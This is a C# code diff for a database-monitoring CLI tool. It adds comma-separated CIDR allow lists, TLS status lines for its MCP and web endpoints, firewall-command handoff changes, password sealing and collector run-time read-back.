             "MCP  ", mcpNowExposed, config.Mcp.Network?.Listen, config.Mcp.Network?.AllowFrom, null, mcpNowDegrade));
+
+        /* #5288: the MCP twin of the dashboard's TLS line below, printed directly under the MCP line it
+           belongs to, with the same rule: only when exposed, because TLS means nothing on a loopback-only
+           endpoint. Both lines come from DescribeExposureTls, so the two cannot drift. */
+        if (mcpNowExposed)
+        {
+            output.WriteLine(DescribeExposureTls(
+                config.Mcp.Network?.Tls, "mcp", "MCP server", "the bearer token and every tool result cross the segment in the clear"));
+        }
+
         output.WriteLine(DarlingNetworkConfigEditor.FormatExposureState(
             "Web  ", webNowExposed, config.Web.Network?.Listen, config.Web.Network?.AllowFrom, null, webNowDegrade));
 
@@ -1972,24 +2295,8 @@ webNow.Reason is DarlingHostBinding.BindReason.NetworkExposed or DarlingHostBind
            (web.network.tls is file-defined and restart-only, like the rest of the block); it reports it. */
         if (webNowExposed)
         {
-            var tls = DarlingWebTls.Describe(config.Web.Network?.Tls);
-            output.WriteLine(tls.Shape switch
-            {
-                DarlingWebTls.TlsShape.NotConfigured =>
-                    "         TLS: off — the access token and its session cookie cross the segment in the clear. "
-                    + "Set web.network.tls to serve HTTPS.",
-                DarlingWebTls.TlsShape.Invalid =>
-                    $"         TLS: MISCONFIGURED — {tls.Problem} The dashboard will bind loopback-only.",
-                /* The warning rides along: this verb is the one an operator runs to see what is open, and a
-                   stale PKCS#12 password beside a working PEM pair is exactly the "I thought the bundle was
-                   being served" state they came here to resolve. The service logs it at every start; nobody
-                   reading this summary should have to go find that line. */
-                DarlingWebTls.TlsShape.Pem =>
-                    $"         TLS: on (PEM pair, {config.Web.Network!.Tls!.CertPath})."
-                    + (tls.Warning is null ? string.Empty : $" NOTE: {tls.Warning}"),
-                _ => $"         TLS: on (PKCS#12, {config.Web.Network!.Tls!.PfxPath})."
-                     + (tls.Warning is null ? string.Empty : $" NOTE: {tls.Warning}"),
-            });
+            output.WriteLine(DescribeExposureTls(
+                config.Web.Network?.Tls, "web", "dashboard", "the access token and its session cookie cross the segment in the clear"));
         }
 
         output.WriteLine($"  Service: {await DescribeServiceStateAsync(cancellationToken)}");
@@ -2201,7 +2508,7 @@ STDOUT redirect keeps the token without swallowing the warning (MCP first, then
         {
             error.WriteLine();
             error.WriteLine("SAVE THIS NOW — your new MCP bearer token is shown ONCE (darling.json stores only its DPAPI blob).");
-            error.WriteLine("Remote MCP clients send it as the header:  Authorization: Bearer <token>");
+            error.WriteLine("Every MCP client sends it as the header:  Authorization: Bearer <token>");
             output.WriteLine(mcp.Value.GeneratedPlain);
         }
 
@@ -2217,7 +2524,8 @@ STDOUT redirect keeps the token without swallowing the warning (MCP first, then
             output,
             store is not null, postgres.Port, store?.AllowFrom,
             mcp is not null, config.Mcp.Port, mcp?.AllowFrom, config.Mcp.Enabled,
-            web is not null, config.Web.Port, web?.AllowFrom, config.Web.Enabled, web?.Listen);
+            web is not null, config.Web.Port, web?.AllowFrom, config.Web.Enabled, web?.Listen,
+            reparsed.Web.Network?.Tls);
 
         await OfferRestartAsync(input, output, error, cancellationToken);
         return 0;
@@ -2496,7 +2804,7 @@ private static (string Listen, string AllowFrom, string? EncryptedToken, string?
                 return null;
             }
 
-            var allowFrom = Prompt(input, output, "Allowed remote CIDR (e.g. 192.168.1.0/24)");
+            var allowFrom = Prompt(input, output, "Allowed remote CIDR(s), one or several separated by commas (e.g. 192.168.1.0/24,10.8.0.0/16)");
             if (allowFrom is null)
             {
                 output.WriteLine("Cancelled — no changes made.");
@@ -2519,7 +2827,10 @@ private static (string Listen, string AllowFrom, string? EncryptedToken, string?
             var decision = DarlingMcpHostService.ResolveMcpBind(candidate, managed: true);
             if (decision.Mode == DarlingMcpHostService.McpBindMode.NetworkAndLoopback)
             {
-                return (listen, allowFrom, encryptedToken, plainToken, generatedPlain);
+                /* #5288: ONE entry stays as typed; a LIST comes back canonical (masked, de-duplicated, comma-joined).
+                   This is the value the block writer stores AND the firewall hint is built from, so the rule the
+                   operator is told to run carries the scope the service enforces. */
+                return (listen, DarlingNetworkConfigEditor.AllowFromText(allowFrom), encryptedToken, plainToken, generatedPlain);
             }
 
             output.WriteLine($"  Not accepted: {McpDegradeText(decision.Reason, candidate)}");
@@ -2573,7 +2884,7 @@ private static (string Listen, string AllowFrom, string? EncryptedToken, string?
                 return null;
             }
 
-            var allowFrom = Prompt(input, output, "Allowed remote CIDR (e.g. 192.168.1.0/24)");
+            var allowFrom = Prompt(input, output, "Allowed remote CIDR(s), one or several separated by commas (e.g. 192.168.1.0/24,10.8.0.0/16)");
             if (allowFrom is null)
             {
                 output.WriteLine("Cancelled — no changes made.");
@@ -2596,7 +2907,10 @@ private static (string Listen, string AllowFrom, string? EncryptedToken, string?
             var decision = DarlingWebHostService.ResolveWebBind(candidate, managed: true);
             if (decision.Mode == DarlingHostBinding.BindMode.NetworkAndLoopback)
             {
-                return (listen, allowFrom, encryptedToken, plainToken, generatedPlain);
+                /* #5288: ONE entry stays as typed; a LIST comes back canonical (masked, de-duplicated, comma-joined).
+                   This is the value the block writer stores AND the firewall hint is built from, so the rule the
+                   operator is told to run carries the scope the service enforces. */
+                return (listen, DarlingNetworkConfigEditor.AllowFromText(allowFrom), encryptedToken, plainToken, generatedPlain);
             }
 
             output.WriteLine($"  Not accepted: {WebDegradeText(decision.Reason, candidate)}");
@@ -2612,7 +2926,7 @@ private static (string Listen, string AllowFrom, string? EncryptedToken, string?
         DarlingHostBinding.BindReason.TokenMissing =>
             "no access token is set (the wizard should have supplied one — this is unexpected).",
         DarlingHostBinding.BindReason.AllowFromInvalid =>
-            $"web.network.allowFrom '{web.Network?.AllowFrom}' is not a valid CIDR or its address family does not match listen (e.g. 192.168.1.0/24, host bits zeroed).",
+            $"web.network.allowFrom '{web.Network?.AllowFrom}' is not a valid CIDR list or an entry's address family does not match listen. Use one CIDR (e.g. 192.168.1.0/24) or several separated by commas (e.g. 10.8.0.0/16,192.168.1.5/32): every entry in CIDR form (/32 for one address), with each IPv4 address written as four plain decimal numbers (no leading zeros) and no IPv6 zone index, and of the same family as listen (a :: listen takes IPv6 entries only). Host bits are masked, not refused (192.168.1.5/24 means 192.168.1.0/24).",
         DarlingHostBinding.BindReason.ManagedModeRequired =>
             "network exposure is managed-mode only.",
         _ => "the web bind resolver rejected these values.",
@@ -2626,7 +2940,7 @@ private static (string Listen, string AllowFrom, string? EncryptedToken, string?
         DarlingMcpHostService.McpBindReason.TokenMissing =>
             "no bearer token is set (the wizard should have supplied one — this is unexpected).",
         DarlingMcpHostService.McpBindReason.AllowFromInvalid =>
-            $"mcp.network.allowFrom '{mcp.Network?.AllowFrom}' is not a valid CIDR or its address family does not match listen (e.g. 192.168.1.0/24, host bits zeroed).",
+            $"mcp.network.allowFrom '{mcp.Network?.AllowFrom}' is not a valid CIDR list or an entry's address family does not match listen. Use one CIDR (e.g. 192.168.1.0/24) or several separated by commas (e.g. 10.8.0.0/16,192.168.1.5/32): every entry in CIDR form (/32 for one address), with each IPv4 address written as four plain decimal numbers (no leading zeros) and no IPv6 zone index, and of the same family as listen (a :: listen takes IPv6 entries only). Host bits are masked, not refused (192.168.1.5/24 means 192.168.1.0/24).",
         DarlingMcpHostService.McpBindReason.ManagedModeRequired =>
             "network exposure is managed-mode only.",
         _ => "the MCP resolver rejected these values.",
@@ -2741,7 +3055,7 @@ private static void PrintNextSteps(
         TextWriter output,
         bool storeConfigured, int storePort, string? storeCidr,
         bool mcpConfigured, int mcpPort, string? mcpCidr, bool mcpEnabled,
-        bool webConfigured, int webPort, string? webCidr, bool webEnabled, string? webListen)
+        bool webConfigured, int webPort, string? webCidr, bool webEnabled, string? webListen, WebTlsConfig? webTls)
     {
         output.WriteLine();
         output.WriteLine("Next steps:");
@@ -2787,12 +3101,12 @@ private static void PrintNextSteps(
             output.WriteLine("   --configure-firewall ELEVATED instead and it resolves the effective port and moves the rule.)");
 
             /* The one login step a human does differently for Web: a remote browser presents the access token
-               once via ?token= and is 302'd back with a session cookie. A 0.0.0.0 bind has no single address
-               to print, so fall back to a placeholder. */
-            var webHost = webListen == "0.0.0.0" ? "<a-LAN-IP-of-this-machine>" : webListen;
-            output.WriteLine("  Remote browser login (after the service restarts):");
-            output.WriteLine($"    http://{webHost}:{webPort}/?token=<your-access-token>");
-            output.WriteLine("  (the token is exchanged for a session cookie and stripped from the URL; loopback needs no token)");
+               once via ?token= and is 302'd back with a session cookie. BuildWebLoginHint decides the scheme
+               and the host, so a test can pin them. */
+            foreach (var line in BuildWebLoginHint(webListen, webPort, webTls))
+            {
+                output.WriteLine(line);
+            }
             /* #2389: the MCP note's twin — unconditional, and about which plane decides. */
             output.WriteLine("  NOTE: the network block you just wrote is FILE-authoritative and applies on restart, but whether");
             output.WriteLine("        the dashboard runs at all is config.config_service.web_enabled — darling.json's web.enabled is");
@@ -2800,6 +3114,82 @@ private static void PrintNextSteps(
         }
     }
 
+    /// <summary>
+    /// The TLS line the <c>--configure-network</c> exposure summary prints under an EXPOSED endpoint. #2562 wrote
+    /// it for the dashboard and #5288 shares it with MCP, so the two cannot drift. <paramref name="section"/> is
+    /// <c>"web"</c> or <c>"mcp"</c>: it names the setting (<c>{section}.network.tls</c>) in every branch, through
+    /// <see cref="DarlingWebTls.Describe"/>, which is also the decision the running service makes.
+    /// <paramref name="surface"/> names what binds loopback-only when the block is MISCONFIGURED, and
+    /// <paramref name="cleartextRisk"/> says what crosses the segment when there is no block. With the dashboard's
+    /// words the text is byte-for-byte what it was before MCP had a line. The PKCS#12 / PEM warning rides along
+    /// because this verb is the one an operator runs to see what is open, and a stale password beside a working
+    /// PEM pair is the "I thought the bundle was being served" state they came here to resolve. Pure.
+    /// </summary>
+    internal static string DescribeExposureTls(WebTlsConfig? tls, string section, string surface, string cleartextRisk)
+    {
+        var plan = DarlingWebTls.Describe(tls, section);
+        return plan.Shape switch
+        {
+            DarlingWebTls.TlsShape.NotConfigured =>
+                $"         TLS: off — {cleartextRisk}. Set {section}.network.tls to serve HTTPS.",
+            DarlingWebTls.TlsShape.Invalid =>
+                $"         TLS: MISCONFIGURED — {plan.Problem} The {surface} will bind loopback-only.",
+            DarlingWebTls.TlsShape.Pem =>
+                $"         TLS: on (PEM pair, {tls!.CertPath})."
+                + (plan.Warning is null ? string.Empty : $" NOTE: {plan.Warning}"),
+            _ => $"         TLS: on (PKCS#12, {tls!.PfxPath})."
+                 + (plan.Warning is null ? string.Empty : $" NOTE: {plan.Warning}"),
+        };
+    }
+
+    /// <summary>
+    /// The browser-login hint the wizard prints after it writes a web block: the URL a remote browser opens once
+    /// with the token, then one line on what becomes of the token. Pure, so the three facts it states can be pinned.
+    ///
+    /// <list type="bullet">
+    /// <item><b>The scheme follows the certificate (#5288).</b> It is <c>https</c> when <c>web.network.tls</c> names a
+    /// PKCS#12 bundle or a PEM pair, because the network listener then speaks TLS only and an <c>http://</c> URL
+    /// fails the handshake. Anything else, a MISCONFIGURED block included, keeps <c>http</c>: a refused block
+    /// leaves the dashboard loopback-only, so there is no remote URL to get right.</item>
+    /// <item><b>A wildcard listen has no single address to print.</b> <c>0.0.0.0</c> and <c>::</c> both print the
+    /// placeholder. Any other IPv6 literal is bracketed, because <c>http://2001:db8::5:5153/</c> is not a URL.</item>
+    /// <item><b>Loopback presents the token too.</b> While the dashboard is exposed a request from the box itself
+    /// still needs the token or the cookie (#1649), so the line no longer says loopback needs no token.</item>
+    /// </list>
+    /// </summary>
+    internal static IReadOnlyList<string> BuildWebLoginHint(string? listen, int port, WebTlsConfig? tls)
+    {
+        var scheme = DarlingWebTls.Describe(tls).Shape is DarlingWebTls.TlsShape.Pfx or DarlingWebTls.TlsShape.Pem
+            ? "https"
+            : "http";
+
+        return
+        [
+            "  Remote browser login (after the service restarts):",
+            $"    {scheme}://{WebLoginHost(listen)}:{port}/?token=<your-access-token>",
+            "  (the token is exchanged for a session cookie and stripped from the URL; loopback presents the token too)",
+        ];
+    }
+
+    /// <summary>The host part of the login URL: a placeholder for a wildcard listen, brackets around an IPv6 literal, the text as given otherwise.</summary>
+    private static string WebLoginHost(string? listen)
+    {
+        if (string.IsNullOrWhiteSpace(listen) || !IPAddress.TryParse(listen.Trim(), out var address))
+        {
+            return listen ?? string.Empty;
+        }
+
+        if (address.Equals(IPAddress.Any) || address.Equals(IPAddress.IPv6Any))
+        {
+            return "<a-LAN-IP-of-this-machine>";
+        }
+
+        var text = listen.Trim();
+        return address.AddressFamily == AddressFamily.InterNetworkV6 && !text.StartsWith('[')
+            ? $"[{text}]"
+            : listen;
+    }
+
     /// <summary>
     /// Backs up darling.json to a timestamped sibling, then writes the new text. Returns false (with a
     /// message) on any I/O failure.
@@ -3033,32 +3423,39 @@ public static EndpointFirewallPlan ClassifyFirewallPlan(bool exposed, bool eleva
         : elevated ? EndpointFirewallPlan.RunElevated
         : EndpointFirewallPlan.Handoff;
 
-    /// <summary>Whether an ENABLE toggle's <c>allowFrom</c> can be used as a firewall <c>-RemoteAddress</c> (#1646).</summary>
+    /// <summary>Whether an ENABLE toggle's <c>allowFrom</c> (one CIDR, or a comma-separated list of them since #5288) can be used as a firewall <c>-RemoteAddress</c> (#1646).</summary>
     public enum EndpointAllowFromVerdict
     {
         /// <summary>Absent/blank — the service would fail-close this endpoint to loopback, so there is nothing to open.</summary>
         Missing,
 
-        /// <summary>Present but not a CIDR — REFUSE. Never build a firewall command from it.</summary>
+        /// <summary>Present but not a CIDR list (one bad or empty entry makes the whole list invalid) — REFUSE. Never build a firewall command from it.</summary>
         Invalid,
 
-        /// <summary>A valid CIDR; the canonical <c>IPNetwork.ToString()</c> form is what reaches the command.</summary>
+        /// <summary>A valid CIDR list; the canonical <see cref="CidrAllowList.ToString"/> form (one CIDR, or CIDRs joined by commas with no spaces) is what reaches the command.</summary>
         Valid,
     }
 
     /// <summary>
-    /// PURE <c>allowFrom</c> gate for a toggle verb (#1646). <c>darling.json</c> is operator-supplied text that
-    /// <see cref="DarlingConfig.Load"/> only deserializes — it never calls <see cref="DarlingConfig.Validate"/> —
-    /// so this was the ONE <see cref="DarlingManagedPostgres.BuildFirewallEnableCommand"/> caller that reached
-    /// the PowerShell <c>-Command</c> string with an unparsed value, where a blank-check was the only gate.
-    /// Every other call site passes a canonicalized <c>IPNetwork.ToString()</c>; this makes that universal.
-    /// Parsing is the security property, not the formatting: <see cref="IPNetwork.TryParse"/> accepts ONLY a
-    /// single <c>address/prefix</c> pair, so no shell metacharacter, statement separator, or second CIDR can
-    /// survive it — and <paramref name="canonicalCidr"/> is the PARSER'S output, never the caller's string, so
-    /// nothing unvalidated is carried through even on the valid path. That last point is load-bearing rather
-    /// than belt-and-braces: <c>TryParse</c> MASKS host bits instead of rejecting them (<c>192.168.1.5/24</c>
-    /// parses, as <c>192.168.1.0/24</c>), so "validate, then use the original" would forward a string the
-    /// parser had already decided meant something else.
+    /// PURE <c>allowFrom</c> gate for a toggle verb (#1646, a CIDR LIST since #5288). <c>darling.json</c> is
+    /// operator-supplied text that <see cref="DarlingConfig.Load"/> only deserializes — it never calls
+    /// <see cref="DarlingConfig.Validate"/> — so this is the gate in front of the PowerShell <c>-Command</c>
+    /// string that <see cref="DarlingManagedPostgres.BuildFirewallEnableCommand"/> builds, where a blank-check
+    /// was once the only gate. Every other call site already passes a canonical list; this makes that universal.
+    ///
+    /// <para>Parsing is the security property, not the formatting. The text goes through
+    /// <see cref="CidrAllowList.TryParse"/>, the one parser the bind ladder and both hosts' gates use (no second
+    /// split, trim or de-dupe lives here to drift from it), and <paramref name="canonicalCidr"/> is that
+    /// parser's <see cref="CidrAllowList.ToString"/>, never the caller's string. So every ELEMENT that reaches
+    /// the command is parser output: an <c>address/prefix</c> pair that <see cref="IPNetwork"/> formatted
+    /// itself, and no shell metacharacter, statement separator or hostile token can survive the parse (one bad
+    /// or empty entry refuses the whole list). The comma is the only separator a list adds, and
+    /// <see cref="DarlingManagedPostgres.BuildFirewallEnableCommand"/> splits on it and single-quotes each element
+    /// on its own, so the second layer holds per element too.</para>
+    ///
+    /// <para>The canonical form is load-bearing rather than belt-and-braces: the parser MASKS host bits instead
+    /// of rejecting them (<c>192.168.1.5/24</c> parses, as <c>192.168.1.0/24</c>), so "validate, then use the
+    /// original" would forward a string the parser had already decided meant something else.</para>
     /// </summary>
     public static EndpointAllowFromVerdict ClassifyAllowFrom(string? allowFrom, out string canonicalCidr)
     {
@@ -3069,12 +3466,12 @@ public static EndpointAllowFromVerdict ClassifyAllowFrom(string? allowFrom, out
             return EndpointAllowFromVerdict.Missing;
         }
 
-        if (!IPNetwork.TryParse(allowFrom.Trim(), out var cidr))
+        if (!CidrAllowList.TryParse(allowFrom, out var list))
         {
             return EndpointAllowFromVerdict.Invalid;
         }
 
-        canonicalCidr = cidr.ToString();
+        canonicalCidr = list.ToString();
         return EndpointAllowFromVerdict.Valid;
     }
 
@@ -3348,8 +3745,8 @@ private static async Task ReconcileEndpointFirewallAsync(
             return;
         }
 
-        /* #1646: parse allowFrom as a CIDR BEFORE it can reach a PowerShell -Command string, and pass the
-           parser's canonical form — the posture every other BuildFirewallEnableCommand caller already had.
+        /* #1646: parse allowFrom as a CIDR (a LIST since #5288) BEFORE it can reach a PowerShell -Command string,
+           and pass the parser's canonical form — the posture every other BuildFirewallEnableCommand caller already had.
            An unparseable value is refused outright: the firewall is NOT touched and nothing is printed for an
            operator to paste into an elevated shell, because the injected text would run either way (this verb
            runs the command itself when elevated, and hands it to a human to run elevated when it is not). */
@@ -3362,16 +3759,18 @@ private static async Task ReconcileEndpointFirewallAsync(
                     /* Non-loopback listen but no allowFrom CIDR: the service itself would fail-close this to loopback, so
                        there is nothing to open. Point at the wizard rather than emit a malformed New-NetFirewallRule. */
                     output.WriteLine(
-                        $"Firewall: the network block sets listen '{listen}' but no allowFrom CIDR, so the service will bind " +
+                        $"Firewall: the network block sets listen '{listen}' but no allowFrom (one CIDR, or several separated by commas), so the service will bind " +
                         "loopback-only until it is completed. Run --configure-network to finish the block; not opening the firewall.");
                     return;
 
                 case EndpointAllowFromVerdict.Invalid:
                     error.WriteLine(
-                        $"Firewall: allowFrom in darling.json is not a valid CIDR, so NO firewall change was made and no " +
+                        $"Firewall: allowFrom in darling.json is not a valid CIDR list, so NO firewall change was made and no " +
                         "command is being printed to run by hand. The endpoint toggle itself already succeeded; the service " +
-                        "will bind loopback-only until allowFrom is fixed. Expected an address/prefix with the host bits " +
-                        "zeroed, e.g. 192.168.1.0/24 or 2001:db8::/32. Run --configure-network to rewrite the block.");
+                        "will bind loopback-only until allowFrom is fixed. Expected one address/prefix (e.g. 192.168.1.0/24 " +
+                        "or 2001:db8::/32) or several separated by commas (e.g. 10.8.0.0/16,192.168.1.5/32); an empty entry " +
+                        "(a doubled or trailing comma) is refused, and host bits are masked rather than refused " +
+                        "(192.168.1.5/24 means 192.168.1.0/24). Run --configure-network to rewrite the block.");
                     return;
             }
         }
@@ -3598,8 +3997,9 @@ does not. */
         return plans;
     }
 
-    /// <summary>The parser's canonical CIDR, or null when it will not parse. The bind resolvers have already
-    /// refused exposure in the null case, so an Open plan always carries a real CIDR; this never forwards the
+    /// <summary>The parser's canonical CIDR list (one CIDR, or CIDRs joined by commas, #5288), or null when it
+    /// will not parse. The bind resolvers have already refused exposure in the null case, so an Open plan always
+    /// carries a real list; this never forwards the
     /// caller's raw string into a PowerShell command (#1646).</summary>
     private static string? CanonicalCidrOrNull(string? allowFrom) =>
         ClassifyAllowFrom(allowFrom, out var canonical) == EndpointAllowFromVerdict.Valid ? canonical : null;
@@ -3653,7 +4053,7 @@ private static string DescribeDisabledSurface(
             DarlingMcpHostService.McpBindReason.TokenMissing =>
                 $"{section}.network is set but its token is missing or unreadable, so the service fail-closes this endpoint to loopback",
             DarlingMcpHostService.McpBindReason.AllowFromInvalid =>
-                $"{section}.network.allowFrom is missing or not a valid CIDR, so the service fail-closes this endpoint to loopback",
+                $"{section}.network.allowFrom is missing, is not a valid CIDR list (every entry in CIDR form, with each IPv4 address written as four plain decimal numbers (no leading zeros) and no IPv6 zone index), or has an entry whose address family does not match listen, so the service fail-closes this endpoint to loopback",
             DarlingMcpHostService.McpBindReason.ManagedModeRequired =>
                 $"{section}.network is set but postgres.managed = false; LAN exposure is managed-mode only and is ignored",
             _ => null,
@@ -4176,28 +4576,33 @@ from a normal prompt.
 
             var hasWork = NotElevatedRunHasWork(handoffs.Select(h => h.Handoff));
 
-            error.WriteLine("This shell is not elevated, so NO firewall rule was changed. Run these in an ELEVATED PowerShell:");
+            /* #5413: a run that returns 0 succeeded, and a successful run writes nothing to the error stream
+               (Windows PowerShell 5.1 turns each stderr line into an error record). The handoff stays on stderr
+               when it is confirmed work, because that run exits 1. */
+            var handoffText = hasWork ? error : output;
+
+            handoffText.WriteLine("This shell is not elevated, so NO firewall rule was changed. Run these in an ELEVATED PowerShell:");
             foreach (var (plan, handoff) in handoffs)
             {
                 switch (handoff)
                 {
                     case FirewallHandoff.OpenCommand:
-                        error.WriteLine("  " + DarlingManagedPostgres.BuildFirewallEnableCommand(plan.RuleName, plan.Port, plan.Cidr!));
+                        handoffText.WriteLine("  " + DarlingManagedPostgres.BuildFirewallEnableCommand(plan.RuleName, plan.Port, plan.Cidr!));
                         break;
 
                     /* The same builder and the same wildcard the elevated path would have used, so the command
                        an operator pastes and the command the verb runs cannot drift apart. */
                     case FirewallHandoff.SweepCommand:
-                        error.WriteLine(
+                        handoffText.WriteLine(
                             $"  # {plan.Surface}: a scoped rule is open on this surface and none belongs on any port.");
-                        error.WriteLine("  " + DarlingManagedPostgres.BuildFirewallSweepCommand(
+                        handoffText.WriteLine("  " + DarlingManagedPostgres.BuildFirewallSweepCommand(
                             DarlingFirewallCheck.SurfaceRuleWildcard(plan.RuleName)));
                         break;
 
                     case FirewallHandoff.SweepCommandUnverified:
-                        error.WriteLine(
+                        handoffText.WriteLine(
                             $"  # {plan.Surface}: the read-only rule probe gave no usable answer, so this may be a no-op.");
-                        error.WriteLine("  " + DarlingManagedPostgres.BuildFirewallSweepCommand(
+                        handoffText.WriteLine("  " + DarlingManagedPostgres.BuildFirewallSweepCommand(
                             DarlingFirewallCheck.SurfaceRuleWildcard(plan.RuleName)));
                         break;
 
@@ -4209,7 +4614,7 @@ an operator pastes and the command the verb runs cannot drift apart. */
 
             if (!hasWork)
             {
-                error.WriteLine(
+                handoffText.WriteLine(
                     "Returning 0: nothing above is CONFIRMED work. The read-only probe could not answer for at " +
                     "least one surface, so those commands are offered as a precaution — and a non-zero exit is a " +
                     "claim about the firewall, which this run has no measurement to support.");
@@ -5275,7 +5680,7 @@ like JSON and was not gets the parse wrapper. */
 
     /// <summary>
     /// <c>--add-server</c> (#2256): registers monitored server(s) in the store from a JSON array on stdin, through
-    /// the SAME <see cref="DarlingMcpServerAdminTools.AddServers"/> path the MCP tool uses — so validation, dedupe,
+    /// the SAME core the MCP <c>add_servers</c> tool uses (<see cref="DarlingMcpServerAdminTools.AddServersFromHostCommandLineAsync"/>) — so validation, dedupe,
     /// the in-process connection probe, password encryption and the identity computation are shared rather than
     /// reimplemented. <c>server_id</c> in particular is a hash of the storage name, which is exactly the part an
     /// operator cannot safely produce by hand.
@@ -5345,12 +5750,22 @@ correlate with the OS guard above. */
         output.WriteLine();
 
         string resultJson;
+        string? sealNotice = null;
         try
         {
             await using var dataSource = NpgsqlDataSource.Create(
                 DarlingStoreConnection.PinSessionTimeZoneUtc(
                     DarlingStoreConnection.WithApplicationName(connectionString, DarlingManagedPostgres.CliApplicationName)));
-            resultJson = await DarlingMcpServerAdminTools.AddServers(dataSource, json);
+            /* #5366: a literal password is sealed with the key the service keeps (DarlingCliSealKey: the key file read
+               only, else the key the store publishes). Typed at the host's own command line, not a request: a password
+               here may be an env:/file: reference, the way the configuration file's is
+               (DarlingMcpServerAdminTools.AddServersFromHostCommandLineAsync). */
+            var sealKey = await DarlingCliSealKey.ResolveAsync(config, DarlingConfig.ResolveConfigPath(configPath), dataSource, null, cancellationToken);
+            resultJson = await DarlingMcpServerAdminTools.AddServersFromHostCommandLineAsync(dataSource, json, sealKey.Ring);
+            if (sealKey.Ring is DarlingCliSealKey.PublishedKeyRing { SealedCount: > 0 } && sealKey.Notice is not null)
+            {
+                sealNotice = sealKey.Notice;
+            }
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -5364,6 +5779,12 @@ correlate with the OS guard above. */
             output.WriteLine(line);
         }
 
+        if (sealNotice is not null)
+        {
+            output.WriteLine();
+            output.WriteLine(sealNotice);
+        }
+
         return exitCode;
     }
 
@@ -5386,7 +5807,7 @@ public static string CollectorToggleUsageText() =>
         "server's own row instead (its display name or storage name, as the Viewer and the MCP tools show it)." + Environment.NewLine +
         "Only the enabled flag is written; a frequency or retention override already on the row is kept." + Environment.NewLine +
         Environment.NewLine +
-        "Known collectors (\"ships OFF\" = opt-in, like long_query_completions, whose enabling creates its Extended Events session on the monitored servers and whose disabling drops it):" + Environment.NewLine +
+        "Known collectors (\"ships OFF\" = opt-in, like long_query_completions, whose enabling creates its Extended Events session on the monitored servers (on Azure SQL Database, in each monitored database) and whose disabling drops it):" + Environment.NewLine +
         KnownCollectorsText();
 
     /// <summary>
@@ -5394,9 +5815,16 @@ public static string CollectorToggleUsageText() =>
     /// spaces in, wrapped so a 60-name list is a paragraph rather than a screen. The opt-in ones are tagged,
     /// because they are the reason the verb exists. Pure, so the listing pins.
     /// </summary>
-    internal static string KnownCollectorsText()
+    internal static string KnownCollectorsText() => KnownCollectorsText(null);
+
+    /// <summary>
+    /// <see cref="KnownCollectorsText()"/> over the collectors <paramref name="include"/> keeps (all of them when it is null), so
+    /// <see cref="CollectorRunAtUsageText"/> lists only the ones a run time can be set on. Pure.
+    /// </summary>
+    internal static string KnownCollectorsText(Func<CollectorScheduleDefaults.Entry, bool>? include)
     {
         var names = CollectorScheduleDefaults.All
+            .Where(kv => include is null || include(kv.Value))
             .OrderBy(kv => kv.Key, StringComparer.Ordinal)
             .Select(kv => kv.Value.DefaultEnabled ? kv.Key : kv.Key + " (ships OFF)")
             .ToList();
@@ -5592,12 +6020,66 @@ so a deadline assigned a statement later would be a site it cannot certify. */
         return rows;
     }
 
+    /// <summary>
+    /// The read-back of the collector's run times (#4938): the rows of <c>config.config_collector_run_times</c> for the
+    /// collector, both scopes, each per-server row labelled from the registry the way <see cref="CollectorScheduleReadbackSql"/>
+    /// labels it. Its own read, because a run time is not a column of the schedule rows (the viewer's schedule Save deletes and
+    /// re-inserts those rows). Matched on <c>lower()</c> like the schedule read-back, and schema-qualified, so a 42P01 from it can
+    /// only mean this table is missing. $1 collector_name. Internal const so Darling.Tests can pin the dialect.
+    /// </summary>
+    internal const string CollectorRunTimeReadbackSql = @"
+SELECT rt.server_id, rt.collector_name, rt.run_at_minute, COALESCE(s.display_name, s.server_name) AS server_label
+FROM config.config_collector_run_times rt
+LEFT JOIN collect.servers s ON s.server_id = rt.server_id
+WHERE lower(rt.collector_name) = lower($1)
+ORDER BY rt.server_id NULLS FIRST, server_label, rt.server_id";
+
+    /// <summary>One <c>config_collector_run_times</c> row as the verb reads it back, with the registry label the operator knows
+    /// the server by. <see cref="RunAtMinute"/> is minutes after midnight on the server's clock, or -1 on a server row for
+    /// "no fixed time on this server".</summary>
+    internal sealed record CollectorRunTimeReadbackRow(int? ServerId, string CollectorName, int RunAtMinute, string? ServerLabel);
+
+    /// <summary>
+    /// Reads the collector's run-time rows (#4938). A store the service has not migrated to V160 yet has no such table, which is
+    /// "no run times" (what every collector had before it existed) and not a failure: the toggle verbs work against a store older
+    /// than the binary, so their read-back must not fail on a store whose write succeeded. The state code, not the message text,
+    /// is what is matched: lc_messages is not always English. Any other failure propagates.
+    /// </summary>
+    internal static async Task<List<CollectorRunTimeReadbackRow>> ReadCollectorRunTimeRowsAsync(
+        NpgsqlDataSource postgres, string collectorName, CancellationToken cancellationToken)
+    {
+        var rows = new List<CollectorRunTimeReadbackRow>();
+        try
+        {
+            await using var connection = await postgres.OpenConnectionAsync(cancellationToken);
+            await using var command = new NpgsqlCommand(CollectorRunTimeReadbackSql, connection) { CommandTimeout = ServiceCommandDeadlines.CliStoreReadSeconds };
+            command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = collectorName });
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                rows.Add(new CollectorRunTimeReadbackRow(
+                    reader.IsDBNull(0) ? null : reader.GetInt32(0),
+                    reader.GetString(1),
+                    reader.GetInt16(2),
+                    reader.IsDBNull(3) ? null : reader.GetString(3)));
+            }
+        }
+        catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.UndefinedTable)
+        {
+            return new List<CollectorRunTimeReadbackRow>();
+        }
+
+        return rows;
+    }
+
     /// <summary>
     /// Renders the read-back as operator lines: the code default first (so "(default)" in a row has a number
     /// beside it), then one line per override row — scope, enabled, frequency, retention, and the database scope
-    /// when the row carries one. PURE, so the layout pins without a store (the <see cref="FormatProbeLine"/> split).
+    /// when the row carries one — then, when the collector has run times (#4938), one line per run-time row. PURE, so the
+    /// layout pins without a store (the <see cref="FormatProbeLine"/> split).
     /// </summary>
-    internal static IReadOnlyList<string> FormatCollectorScheduleRows(string collectorName, IReadOnlyList<CollectorScheduleReadbackRow> rows)
+    internal static IReadOnlyList<string> FormatCollectorScheduleRows(
+        string collectorName, IReadOnlyList<CollectorScheduleReadbackRow> rows, IReadOnlyList<CollectorRunTimeReadbackRow>? runTimes = null)
     {
         var lines = new List<string>();
         var entry = CollectorScheduleDefaults.All.TryGetValue(collectorName, out var e) ? e : null;
@@ -5614,16 +6096,13 @@ internal static IReadOnlyList<string> FormatCollectorScheduleRows(string collect
